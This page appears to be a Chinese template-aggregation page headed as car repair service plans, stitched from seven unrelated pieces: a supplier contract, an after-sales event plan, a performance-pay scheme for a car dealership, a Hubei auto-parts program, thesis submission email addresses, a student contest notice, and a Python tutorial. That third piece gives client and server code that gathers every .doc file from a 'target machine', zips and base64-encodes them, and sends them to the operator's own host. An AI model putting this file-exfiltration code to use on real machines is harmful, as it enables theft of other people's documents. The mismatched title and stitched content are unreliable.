指定汽车维修服务方案

指定汽车维修服务方案（共7篇）

1.指定汽车维修服务方案 篇一

指定供应商服务合同书

甲方：_______________

乙方：_______________

为了拓展商贸模式，共同开发市场，甲乙双方在优势互补，互惠双赢的基础上达成如下采购协作服务协议：

一、甲方的权利与义务

甲方权利：

1．贸易信息：

（1）优先获得高质量的意向贸易订单信息（图纸和样品），并提供与订单配套的专业的工程、外贸、后勤、仓储等服务；

（2）优先获得贸易订单报价，贸易撮合服务等权利。

2．项目管理：

（1）获得供应链订单管理系统使用权限（密码1套），以利于与乙方及时操作接收更多订单信息（含图纸）；

（2）定期获得对企业在项目管理上的整改和培训，促进与国外客户的合作进程。

4．市场服务：

可以以优惠价格参加_______________组织的各项活动，如国内外参展、国内外考察、培训和管理讲座等。

5．推荐服务：

（1）甲方可获得乙方在相关重要展览会上的重点推荐（介绍甲方的优质产品、生产规模、生产能力、质量体系等，代为收集采购信息等）；

（2）优先获得乙方在e-BI客户中重点推荐，集中重点甲方企业的优质产品、生产规模、生产能力、质量体系等。

6．甲方如在第一获得由乙方外商评审的优秀供应商荣誉称号，则在第二次签订指定供应商合作协议时，其服务费可享受八折优惠。

甲方的义务：

1．保密条款：甲方对乙方所提供的采购商务信息严格保密，包括市场、技术、加工工艺、设计等体现有形和无形价值的资料，形式包含书面合同、信函、传真、电话记录、电子邮件、图片等；未经乙方许可，不得向第三方出售，转让及其它形式的转发；

2．样品：甲方按来样样品或图纸的要求（OEM／ODM）提供样品，或能反映生产企业加工能力和水平的类似样品，并努力提供采购方的流程中使用的材料系统和技术。

3．企业资料：甲方负责向乙方提供真实的企业资料、产品图片、技术水准及质量管理手册、生产工艺控制要求等有关证书，甲方应对所提供资料的合法性负责，并在企业资料发生变化时及时通知乙方更正；甲方所提供的企业资料将作为日后参与贸易订单撮合等各项商贸活动的依据。

4．履行合同：甲方必须按照乙方所提供的采购商务信息进行生产制作、保证质量、数量及按时交货，并协助乙方完成物流事宜。

5．生产工艺及过程控制：甲方确保用甲方最先进的，行之有效的生产流程和工艺，使所供应的产品具有国际竞争力，以达到质优价廉的采购目标和续约生产。

6．产品价格及付款方式：甲方务必为乙方提供最具国际竞争力的价格，缩短谈判时间；接受合理的付款方式并与乙方的贸易形式衔接。

二、乙方的权利与义务

1．市场开发：乙方为甲方进行多种形式的规范的市场开发，重点在美国市场；

2．市场服务：乙方为甲方提供如何在市场中增加价值等方面的信息，并将就具体问题提出解决和建议方案；

3．项目管理：乙方为甲方提供项目管理服务，使甲方的产品顺利进入美国市场并与之接轨；

4．服务平台：乙方提供并辅助甲方使用其项目管理平台GSCM系统；

5．国际贸易服务：乙方为甲方产品进入国际市场提供咨询及推荐服务，最大限度地促使成功；

6．推荐服务：乙方优先向采购商推荐甲方的产品，介绍甲方的服务及技术，并及时反馈给甲方，最大限度地促进撮合成交；

7．网络推广：为快速及时地向采购商提供甲方的产品信息及企业状况，乙方为甲方制作标准宣传网页一套，网页上载至________网和_______________网的网站平台上。

8．乙方负责向甲方提供各种网络资讯及商务服务。

9．乙方负责向甲方提供网站服务器空间及线路、设计、制作网页，上网并维护网站的正常运行。乙方所设计的网页要经过甲方确认，才能上传至乙方的网站上。

10．乙方有权对甲方（成为乙方合作伙伴制指定供应商）的服务资格做相应调查：

（1）研究及评估供应商提供的生产设备，生产能力及质量认证标准等介绍资料；

（2）实地考察供应商并与其管理层，生产技术人员等进行正面接触和洽谈。

三、指定供应商商务服务费为：RMB_________元／年。

四、付款方式

如甲方签约成为乙方指定供应商，须在本合同签订之日起三个工作日内，使用转帐支票，汇款的方式先预付指定供应商服务总费用，即：人民币_________元整；

乙方在收到甲方款项后，必须于五个工作日内开始为指定供应商提供正式的商务服务；

甲方须确保向乙方及时提供正确的合法的企业资料。

五、甲乙双方互不竞争彼此的业务渠道及客户，以保证高效的、互利互惠的合作基础；如有一方毁约所造成直接经济损失由肇事方承担经济责任。

六、甲方应确保产品及服务的质量，并按中国法律，法规及国际惯例履行与采购商的合同。甲方与采购商履行合同过程中所出现产品质量和贸易合同的纠纷，则与乙方无关。如果甲方全权委托乙方负责与采购商签订合同、代理出口、货运、翻译、商检等手续，则费用另行协商并在合同中注明或另签订相应合同。

七、本合同文件由合同文本组成，一式两份，甲乙双方各执一份，合同书自双方签署之日起生效，有效期为一年，对甲乙双方具有约束力，并在_________国和_________国的法律均具有同等效力。

本合同如有未尽事宜，由双方协商解决，未能解决争议时提交仲裁机构进行仲裁，如仲裁不能解决，则按发生地所在国法律为准。

甲方（盖章）：_________ 乙方（盖章）：___________ 代表人（签字）：_______ 代表人（签字）：_________ 电话：_________________ 电话：___________________ 传真：_________________ 传真：___________________ 银行：_________________ 银行：___________________ 帐号：_________________ 帐号：___________________ 地址：_________________ 地址：___________________ _________年____月____日

_________年______月____日 签订地点：_____________ 签订地点：_______________

2.汽车售后服务活动方案 篇二

为了积极贯彻20XX年集团董事长“坚持长久创新，坚持长久服务”思想，形成正能量;不断扩大公司企业品牌影响力。应公司领导要求，以集团“光彩服务月”活动为契机，我部门经过认真安排部署，通过优质服务、上门服务、星级服务、创新服务以带动我商场“新客户群体”，旨在从服务质量及水平上赢得更多的顾客群，以此激励、培养市场，开拓市场潜力。我部门决定于20XX年4月7日组织开展售后服务小分队活动，现将此项活动具体事宜通知如下：

一、活动主题：

挥洒真诚微笑、创新文明服务

二、活动时间：

20XX年4月7日

三、组织部门：

客服纪检部

四、活动内容：

1、设点服务

在市区各居民小区设立服务点，以宣传和服务相结合的方式进行，对群众提出的意见、建议进行登记造册(附表二)，并可根据顾客要求上门服务，对其家中的电器等进行故障排除等服务。

2、赶集服务

分赴XX市周边乡镇地区进行服务宣传，并登记相关信息，对于群众反馈的问题进行汇总并及时向公司总经办汇报反映。

五、参加人员：

客服纪检部2人、公司各部门及各大店。

六、活动要求：

1、各部门应大力支持和协助，确保此项活动顺利开展。

3.指定汽车维修服务方案 篇三

这篇文章主要介绍了python实现获取客户机上指定文件并传输到服务器的方法,涉及Python实现C/S架构程序与socket程序的使用技巧,需要的朋友可以参考下

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法，分享给大家供大家参考。具体分析如下：

该程序实现了，把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密，以及decode(infile,outfile)解密，这是2进制加密解密

2、用zip压缩

3、socket中server.py放到自己这方python server.py，然后client.py放到目标机器，然后python client.py即可

4、本程序设置了获取doc文件，修改extName可以获取其它类型文件

服务器端程序：

代码如下:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

HOST = ‘127.0.0.1‘

PORT = 2000

BUF_SIZE = 6553500 #6M

key = ‘ouyang‘

timeout = 5

dicName = “ouyang”

ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

ss.bind((HOST,PORT))

ss.listen(5)

print “wating for conntecting...”

while True:

try:

cs,addr = ss.accept()

socket.setdefaulttimeout(timeout)

cs.send(“200 Connected!”)

#获取加密数据

encode_data = cs.recv(BUF_SIZE)

#把数据写到out.zip文件

tmpfile = open(‘out.tmp‘,‘wb‘)

try:

tmpfile.write(encode_data)

tmpfile.close()

except IOError,e:

print ‘Strange error creating IOError:%s‘ % e

tmpfile.close()

finally:

tmpfile.close()

#base64 decode 2进制 解密 decode(infile,outfile)

tmpfile = open(‘out.tmp‘,‘rb‘)

utfile = open(‘out.zip‘,‘wb‘)

base64.decode(tmpfile,outfile)

tmpfile.close()

outfile.close()

#打开zip文件

zfile = zipfile.ZipFile(‘out.zip‘,‘r‘)

#创建一个文件夹来存放获取的zip文件

if not os.path.exists(dicName):

os.mkdir(dicName)

for f in zfile.namelist():

data = zfile.read(f)

file = open(dicName+os.path.basename(f),‘w+b‘)

file.write(data)

file.close()

print “finished!!!”

zfile.close()

#后续处理 删除临时文件

os.remove(‘out.tmp‘)

cs.close()

except socket.error, e:

print ‘Strange error creating socket:%s‘ % e

cs.close()

ss.close()

except socket.error, e:

print ‘Strange error creating socket:%s‘ % e

ss.close()

if __name__==‘__main__‘:

main()

客户端程序：

代码如下:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

for root, dirs, files in os.walk(dir, topdown):

for name in files:

if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

filelist.append(os.path.join(root,name))

for name in dirs:

if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

filelist.append(os.path.join(root,name))

def main():

HOST = ‘127.0.0.1‘

PORT = 2000

BUF_SIZE = 65535

key = ‘ouyang‘

dicName = “C:Documents and SettingsAdministrator我的文档”

extName = ‘.doc‘

#遍历搜索我的文档的doc类型

try:

filelist = []

walk_dir(dicName,filelist,extName)

except IOError,e:

print “文件处理错误: ” % e

sys.exit(-1)

cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

cs.connect((HOST,PORT))

print cs.recv(BUF_SIZE)

#压缩成zip文件

zfile = zipfile.ZipFile(‘in.zip‘,‘w‘,zipfile.ZIP_DEFLATED)

for f in filelist:

zfile.write(f)

zfile.close()

#base 2进制 加密 encode(infile,outfile)

infile = open(‘in.zip‘,‘rb‘)

tmpfile = open(‘in.tmp‘,‘wb‘)

base64.encode(infile,tmpfile)

infile.close()

tmpfile.close()

#send

tmpfile = open(‘in.tmp‘,‘rb‘)

cs.send(tmpfile.read())

tmpfile.close()

#后续处理 删除中间文件

os.remove(‘in.tmp‘)

cs.close()

except socket.error ,e:

print ‘socket 出错啦：‘ % e

cs.close()

if __name__==‘__main__‘:

main()

4.指定汽车维修服务方案 篇四

一、目的：

为规范和完善管理人员及二线人员的奖惩激励机制，强化全员绩效考核意识，体现公平、公正，多劳多得，工效结合的原则，在注重整体利益和团队协作的同时，有效激励员工个人的积极性和主动性，确保公司经营目标的实现，特制定本方案。

二、原则：

1、公正、公平、公开的原则；

2、全员绩效挂钩的原则；

3、量化与定性考核相结合的原则。

三、薪资构成及发放方式：

1、岗位工资：每月根据员工出勤情况核发，月标准出勤日按

日计算；

2、考核工资：每月依据部门绩效完成考核情况进行核发；

3、年终奖金：根据签订的《业绩合同书》考核结果核发。

四、考核工资核发办法：

1、首先，要根据总经理签订的《业绩合同书》将经营管理目标分解到各个部门，并由总经理与各部门负责人分别签订部门《业绩合同书》。

2、将总经理及各部门的《业绩合同书》中可按月分解的考核指标，按全年12个月进行目标分解。其中，以《业绩合同书》中“基本目标”分解为每个月的计划目标后，作为该部门每月考核工资发放的依据。具体考核指标的分解按“2005年部门月度考核业绩指标及权数”模版执行（考核项目及权数详见附表格式）。

3、月考核工资计算公式：

n

实得考核工资 = K•∑（PiQi）

i=1

K：考核基薪

Pi：根据各考核指标完成率计算得分

Qi：各考核指标所占权数

4、月度考核指标操作说明：

4.1总费用率、返修率等控制增长类指标在目标范围内的记为满分，超出控制目标的按以下公式计算：[1+（1-实际完成/计划目标）]×100×权数；

4.2属正增长类可量化指标的计算办法：（实际完成/计划目标）×100×权数。

4.3“管理执行力”的考核办法：

⑴、首先，由被考核人按照《管理（岗位）执行力（自查）考核量表》进行自查考核，并于每月5日前将自查考核结果报送综合部（总经理和综合部的自查考核表报集团人力资源部）。如应自查发现而未执行考核扣分的，要加倍扣分。

⑵、总经理和各部门均有权按照《管理（岗位）执行力监督检查考核量表》对相关部门的“管理（岗位）执行力”进行监督考核，并于每月5日前同自查表一起报送综合部复核（总经理和综合部的监察考核表报集团人力资源部）。如应发现其他部门执行力违规行为而未执行监察扣分的，对监察人同样要加倍扣分处罚。

⑶、“管理执行力”满分按100分计算，其最终得分计算方法：（100-被扣分）×权数。

⑷、各部门对本部门非管理人员的“岗位执行力”考核，参照“管理执行力”考核办法，根据各岗位特点制定相应考核办法，经总经理批准后执行。

4.4除“管理执行力”外，其他考核扣分项的计算办法为：超出允许控制范围的按附表说明中考核办法直接扣减相应权数的分值，即：实际得分=权数分－被扣分。扣分考核项的扣分最多不超过该项权值分。

4.5所有考核扣分项有明确直接责任人的扣直接责任人，责任人不清楚或不具体的，被扣分项由该部门负责人承担；虽有直接责任人但因部门负责人把关不严或管理不善而导致被考核扣分的，部门负责人要承担连带责任。

4.6计划目标是指依据签订《业绩合同书》的“基本目标”所分解到每月的目标。

4.8综合部、财务部、信息中心等部门在部门单列的月度考核指标中，如同一考核项已扣分的，在“管理执行力”中不再重复扣分。

4.9凡涉及考核扣分项出现责任不清或有争议时，可由公司管理例会裁决后生效，特殊情况报送集团人力资源部复核后报董事长审批。

4.10所有考核扣分项出现考核扣分时，须由执行人员知会当事人后才予以执行。

4.11月度考核的权限规定：

⑴、总经理的直接考核人为董事长或董事长授权的集团领导，复核部门为集团人力资源部。

⑵、部门经理或主持部门工作副职的直接考核人为总经理，复核部门为综合部，其中综合部的复核部门为集团人力资源部。

⑶、主管的直接考核人为部门经理，复核部门为综合部；设有正副职的，其副职参照下一职级考核。

⑷、一般员工的直接考核人为直属上司（主管或经理），由综合部备案存查。出现争议或员工投诉的，由综合部复核后提交总经理审定。

五、本方案解释权属集团人力资源部。

六、本方案自2005年1月1日起试行。

七、相关附表。

2005年总经理月度考核业绩指标及权数

考核

指标

月份 销售业绩指标（40%）售后服务业绩指标（45%）管理类业绩指标（15%）

新车销售（20%）单台精品销售

（7%）新车全保率

（8%）精品店营业额（5%）售后产值

（20%）来厂台次

（10%）保险业务产值

（10%）续保台次

（5%）总费用率

（5%）管理执行力

（10%）

合 计

说明：

1、管理执行力：由董事长或董事长授权的副总裁根据《管理执行力考核量表》进行考核扣分；

2、总费用率：在控制目标范围内的记满分，超出控制目标的按以下公式计算：[1+（1-实际完成/计划目标）]×100×权数；

3、其他各项可量化指标根据当月实际完成情况按照公式计算：（实际/计划）×100×权数。

4、计划目标是指依据所签订《业绩合同书》的“基本目标”所分解到每月的目标。

2005年综合部月度考核业绩指标及权数

考核 指标 月份 销售业绩指标(15%)售后服务业绩指标(15%)管理类业绩指标（70%）新车销售（10%）新车全保率（5%）售后产值（10%）来厂台次（5%）总费用率（8%）管理执行力（18%）现场督导（13%）招聘完成率（8%）培训完成率

（8%）月报及准率（5%）考勤及准率（5%）人员流失率（5%）

合 计

说明：

1、现场督导：考核每天有效督导执行现场巡查制度及员工行为规范情况，总经理发现或接到有效投诉或其他部门巡查发现属实的每次扣0.5分，有直接责任人的扣罚责任人，责任人不明确的扣罚部门负责人；

2、招聘完成率：考核当月所受理《招聘需求申请》经批准后是否执行并在约定时间招聘到岗，如受用人部门投诉的由总经理每次扣0.5分；

3、培训完成率：考核当月对各部门培训计划申请的组织、执行，以及当月新入职员工培训是否按规定安排、跟进，未执行的每项扣0.5分；

4、月报及准率：每月员工工资变更表于5日前、人事月报于10日前报送集团人力资源部，延误1工作日扣0.5分、差错2项以上每项扣0.5分；

每月15日前组织各部门完成经营月报准备，延误由总经理对责任部门每项扣0.5分；

5、考勤及准率：每月5日前准确完成上月员工出勤统计工作并报送财务部（遇节假日顺延），延误1工作日扣0.5分，差错在控制误差范围以上的（员工总数的2%人次，不含因其他部门提供资料有误的部分）每多1人次扣0.5分；

6、人员流失率: 考核当月正式员工流失率超过规定范围的，由总经理根据流失原因每人次扣0.5分。

7、管理执行力：根据《管理执行力考核量表》进行考核扣分。

2005年财务部月度考核业绩指标及权数

考核 指标 月份 销售业绩指标（15%）售后服务业绩指标（15%）管理类业绩指标（70%）新车销售（10%）新车全保率（5%）售后产值（10%）来厂台次（5%）总费用率（8%）管理执行力（18%）财务报表完成率（15%）资金安全率（7%）工资核算及准率（7%）单据审核准确率（15%）

合 计

说明：

1、财务报表完成率：指按公司正式文件规定应报送的各种报表，每月须按规定时间报送，每张报表每延误1工作日（日报表超过规定时限的）扣1分、报表中发现数据错误的每张报表扣0.5分，（每月由集团财务部和相关报表接收部门向总经理提供财务报表接收情况）。

2、资金安全率：因资金、票据、财务印章管理不善或内部控制不严造成资金损失的，出现一次该考核项得分计0（情节严重的另行处理）；由审计人员、内部举报、上级领导发现的可报综合部统计扣分。

3、工资核算及准率：每月10日完成工资核算工作，延误1工作日扣0.5分，因个人原因造成计算错误且超过控制误差范围的（控制误差为员工总数2%人次，不含因其他部门提供数据有误的部分），每多错1人次扣0.5分（由审核部门发现错误后提交综合部统计执行，造成实际损失的视情况另行追究责任）。

4、单据审核准确率：提供给总经理、集团财务审核的各类单据因附件不完整、手续不全或金额计算有误等，超出控制误差范围的（鹏峰本田为5单/月、其他子公司为3单/月），每多1单扣0.5分。（造成实际损失的，视情况另行追究责任）

5、管理执行力：根据《管理执行力考核量表》进行考核扣分。2005年信息中心月度考核业绩指标及权数

考核 指标 月份 销售业绩指标（15%）售后服务业绩指标（20%）管理类业绩指标（65%）新车销售（10%）新车全保率（5%）售后产值（12%）来厂台次（8%）总费用率（5%）管理执行力（10%）客户跟踪率（10%）首保率（8%）定保成功率

（8%）客诉处理率（12%）客诉满意率（6%）报表及准率（6%）

合 计

说明：

1、管理执行力：根据《管理执行力考核量表》进行考核扣分；

2、报表及准率：指按规定所应报送的各类报表须按时准确完成并报送总经理及相关部门，延误1个工作日扣0.5分、差错2项以上每项扣0.5分；

3、总费用率：在控制目标范围内的记满分，超出控制目标的按以下公式计算： [1+（1-实际完成/计划目标）]×100×权数；

4、其他各项可量化指标根据当月实际完成情况按照公式计算：（实际/计划）×100×权数。

2005年销售部管理及二线人员月度考核业绩指标及权数

考核 指标 月份 销售业绩指标（75%）管理类业绩指标（25%）

新车销售（30%）单台精品销售（17%）新车全保率（18%）精品店营业额（10%）总费用率（5%）客户投诉（8%）管理执行力（12%）

合 计

说明：

1、管理执行力：根据《管理执行力考核量表》进行考核扣分；

2、客户投诉：C类投诉超出当月控制投诉次数的扣0.5分/次；出现A类投诉扣2分/次、B类投诉扣1分/次、D类投诉不扣分；

3、总费用率：在控制目标范围内的记满分，超出控制目标的按以下公式计算：

[1+（1-实际完成/计划目标）]×100×权数；

4、其他各项可量化指标根据当月实际完成情况按照公式计算：（实际/计划）×100×权数。

2005年售后服务部管理及二线人员考核业绩指标及权数

（适用于：经理、车间、前台、配件等非提成人员）

考核 指标 月份

售后服务业绩指标（75%）管理类业绩指标（25%）

售后产值（30%）来厂台次（12%）保险业务产值（20%）续保台次（8%）返修率（5%）总费用率（5%）客户投诉（8%）管理执行力（12%）

合 计

说明：

1、管理执行力：根据《管理执行力考核量表》进行考核扣分；

2、客户投诉：C类投诉超出当月控制投诉次数的扣0.5分/次；出现A类投诉扣2分/次、B类投诉扣1分/次、D类投诉不扣分；

3、总费用率、返修率：在控制目标范围内的记满分，超出控制目标的按以下公式计算：[1+（1-实际完成/计划目标）]×100×权数；

4、其他各项可量化指标根据当月实际完成情况按照公式计算：（实际/计划）×100×权数。

2005年公务车服务中心管理及二线人员考核业绩指标及权数

（适用于：经理、车间、前台等非提成人员）考核 指标 月份

售后服务业绩指标（73%）管理类业绩指标（27%）

售后产值（40%）来厂台次（18%）返修率（15%）总费用率（5%）客户投诉（10%）管理执行力（12%）

合 计

说明：

1、管理执行力：根据《管理执行力考核量表》进行考核；

2、客户投诉：C类投诉超出当月控制投诉次数的扣0.5分/次；出现A类投诉扣2分/次、B类投诉扣1分/次、D类投诉不扣分；

3、总费用率、返修率：在控制目标范围内的记满分，超出控制目标的按以下公式计算：

[1+（1-实际完成/计划目标）]×100×权数；

4、其他各项可量化指标根据当月实际完成情况按照公式计算：（实际/计划）×100×权数。

2005年保险业务人员考核业绩指标及权数

（适用于：保险业务主管和保险业务非提成人员）

考核 指标 月份 售后服务业绩指标（75%）管理类业绩指标（25%）保险业务产值（35%）续 保（8%）产值毛利率（20%）三个月到帐率（7%）少赔台次（5%）总费用率（5%）客户投诉（8%）管理执行力（12%）

合 计

说明：

1、管理执行力：由总经理根据《管理执行力考核量表》进行考核扣分；

2、客户投诉：C类投诉超出当月控制投诉次数的扣0.5分/次；出现A类投诉扣2分/次、B类投诉扣1分/次、D类投诉不扣分；

3、总费用率、少赔台次：在控制目标范围内的记满分，超出控制目标的按以下公式计算：[1+（1-实际完成/计划目标）]×100×权数；

5.指定汽车维修服务方案 篇五

为响应国家今年出台的汽车产业振兴规划，鼓励我省汽车零部件企业发展自主品牌，有效利用当前全球汽车产业调整带来的历史机遇，进军国际采购链，我会联合美国汽车工业行动集团（AIAG）共同发起湖北省汽车企业综合竞争力提升计划，通过企业培训和差异评估等方式，帮助企业从产品质量、成本控制等方面提升企业竞争力，成为符合北美及其他国际整车厂商采购标准的零部件供应商，推动我省汽车零部件产业整体水平迈上一个新高度。

一、提升计划概况

为打造一个为全省汽车零部件企业全方位服务的公共平台，由我会联合美国汽车工业行动集团共同组织、各市州贸促会协助举办的系列活动，将于今年相继推出。系列活动包括“国际供应链研讨会”、“TS16949内审员培训”、“差异化评估”、“论坛及洽谈会”。

（一）国际供应链研讨会

整车厂商作为国际供应链的采购方，对采购的产品质量制定了严格的标准。为了保证供货稳定，对供应商的综合水平有很高的要求。国际供应链研讨会将邀请整车厂商的代表、国际采购方面的专家以及成功的汽车零部件企业代表，为省内汽车零部件企业详解整车厂商的最新采购要求，并向汽车零部件企业指出如何提高自身水平、达到这些要求的途径。

1、研讨会时间：2010年5月

2、研讨会地点：武汉

3、会议规模：100人左右

4、会议内容：

1）AIAG向省内汽车零部件企业介绍国际汽车零部件采购的市场情况；

2）北美、日系、欧系整车厂商代表分别介绍各自的采购要求； 3）AIAG介绍TS16949认证和差异化评估，如何通过改进达到整车厂的各种采购要求； 4）企业代表与发言人互动。

5、费用情况：免参会费，食宿交通自理。

（二）TS16949内审员培训

TS16949是汽车行业推行的共同标准，适用于汽车零部件厂家和汽车整车厂。它综合全球的汽车王国最好的经验，为全世界的质量体系需求提供一个通用平台。取得TS16949体系证书，就是获得了向汽车生产厂家供货的通行证。该活动通过对企业进行TS16949内审员培训，帮助企业完成TS16949体系认证，获得开拓国际市场的准入证。

1、培训时间：2010年6月

2、培训地点：武汉

3、培训规模：40人左右

4、培训机构：IATF（国际汽车推动小组）指定的认证机构

5、费用情况：免培训费，培训期间食宿交通自理。

（三）差异化评估 差异化评估是为汽车零部件供应商开发的评估工具，帮助供应商评估自身能力与实际需求的差距。该评估将针对主机厂对供应商的具体要求，由在汽车行业，尤其是整车厂具有丰富的工作经验的专家完成，发现、分析并报告供应商的实际能力，以及评估这种能力与实际需求之间的差距。

1、评估内容: 针对福特、通用及克莱斯勒对供应商的采购要求，对企业内部各个过程的质量管理提出要求，包括综合管理、产品设计、生产、供应商管理、产品测试和验证、物流等。

2、评估流程：

客户询问并填写问卷表----UL评估人天数并报价----提交组织架构图及质量文件----确认审核计划和审核日程----实施现场审核----AIAG差距审核报告----供应商整改

3、将为供应商带来以下帮助：

1）认识差距，了解重要风险的区域，得到改进计划的指点，为提高自身运营水平创造更多机会，加快与国际采购要求接轨的速度。

2）采用差距评估报告与买家进行交流，促进买家对自身的了解和认可。

1、评估时间：2010年6月-－7月

2、参加对象：省内自愿报名的汽车零部件企业10家

3、费用情况：企业参加差异化评估的费用为2.5万元。由省贸促会申请项目经费，为每家企业提供总费用的2/3作为补助，企业自 身承担总费用的1/3。

（四）论坛及对接活动

组织我省企业参加国际汽车零部件采购商论坛，与合作机构在我省共同举办采购对接洽谈会，邀请汽车公司负责采购、质量或者物流管理等方面的代表参会，为国际采购商和省内供应商搭建交流的平台，获取最新的采购资讯，同时有机会学习国内优秀供应商的成功经验。利用合作机构的会员网络，长期进行线下项目对接洽谈活动，实现市场和需求的有效对接。

1、活动时间：2010年9月（中国国际汽车零部件博览会期间）

2、主办单位：AIAG

3、活动规模：300-400人

4、费用情况：免参会费，食宿交通自理。

此外，我会“湖北省投资与贸易服务网”长期为我省企业提供境外汽车零部件的即时采购信息，帮助企业寻找潜在客户。

二、合作方简介

（一）美国汽车工业行动集团（AIAG）

1、创立：由美国三大汽车公司--克莱斯勒，福特和通用汽车公司共同创立。

2、成立时间：1982年

3、总部：美国大底特律地区

4、宗旨：为汽车整车制造商和零部件供应商发展全球通用标准及优化商务操作，解决大批量零部件采购中的问题。

5、覆盖网络：1000多家会员企业，其中包括北美、欧洲及亚太地区的汽车零售商、整车厂、零部件供应商和服务商。

（二）欧洲创新投资网(EEN)

1、创立：由欧盟委员会创立,受工业企业理事司管理，是欧盟“竞争与创新框架”项目的一部分。

2、成立时间：2008年2月

3、宗旨:让中小企业足不出户就能找到经贸合作、技术合作、研发伙伴等。

6.毕业论文指定邮箱 篇六

指定邮箱

请本学期进行毕业设计的学员将北航学号和姓名为邮件名的《毕业设计申请表》、《毕业设计（论文）题目申报表》、《毕业设计（论文）任务书》及毕业论文电子稿，按毕业论文写作各阶段要求，在规定时间内发送至对应活动中心邮箱。

进行毕业设计的邮箱为指定邮箱，非课程小论文指定邮箱，发送前请确认，以免因发送错误地址而延误毕业设计。复学学员根据自己的专业情况请统一将邮件发送至宜山路课外活动中心的邮箱内。

本学期进行毕业论文设计的学员为：

0803级高起专、专升本经济学、教育管理、会计学、工商管理应届生

0709级高起专、专升本经济学、教育管理、会计学进修生

0609级高起本经济学应届生

其他各年级各专业休学复学等可于当期毕业的学员

宜山路、止园路课外活动中心

经济学（本科）bhlw_ben@126.com

经济学（专科）bhlw_ben_1@126.com

经济学（高起本）bhlw_one_1@126.com

教育管理bhlw_one_2@126.com

闵行课外活动中心：

教育管理bhlw_two@126.com

经济学（本科）bhlw_two_1@126.com

经济学（专科）bhlw_two_2@126.com

虹口课外活动中心：

经济学（专科）bhlw_ten_1@126.com

徐汇桂林路课外活动中心:

经济学（高起本）bhlw_14@126.com

经济学（专科）bhlw_14_1@126.com

奥根课外活动中心:

经济学（本科）bhlw_15@126.com

经济学（专科）bhlw_15_1@126.com

卢湾课外活动中心:

经济学（本科/专科）bhlw_22@126.com

江桥课外活动中心:

经济学（本科）bhlw_25@126.com

7.指定汽车维修服务方案 篇七

一、竞赛项目

汽车营销、汽车售后服务

二、参赛对象

汽车工程系2011级、2012级学生。

三、选拔方式

学生自主报名参加，经过初赛，从中选拔12名选手进入决赛。

四、竞赛方式及竞赛内容

技能大赛分为初赛和决赛两个环节。

初赛以理论考核方式进行，竞赛内容为汽车技术服务与营销方面的基础理论知识，初赛为选拔环节，初赛成绩不计入最终成绩。题库将在汽车工程系网站或汽车学工QQ群上公布，选手可提前准备。

决赛主要以实践考核方式进行，竞赛内容分为两部分：汽车营销技能和汽车维修业务接待技能。汽车营销技能主要考核“六方位”绕车介绍；汽车维修业务接待技能主要考核汽车维修业务接待流程（实操）和异议处理（面试）。

五、竞赛时间

预赛：10月15日

决赛：10月26日

六、竞赛奖励

竞赛设一等奖1名，奖励600元；二等奖2名，每人奖励400元；三等奖3名，每人奖励200元；优秀奖6名，每人奖励100元。获得奖项的参赛选手均由系部颁发荣誉证书。

汽车工程系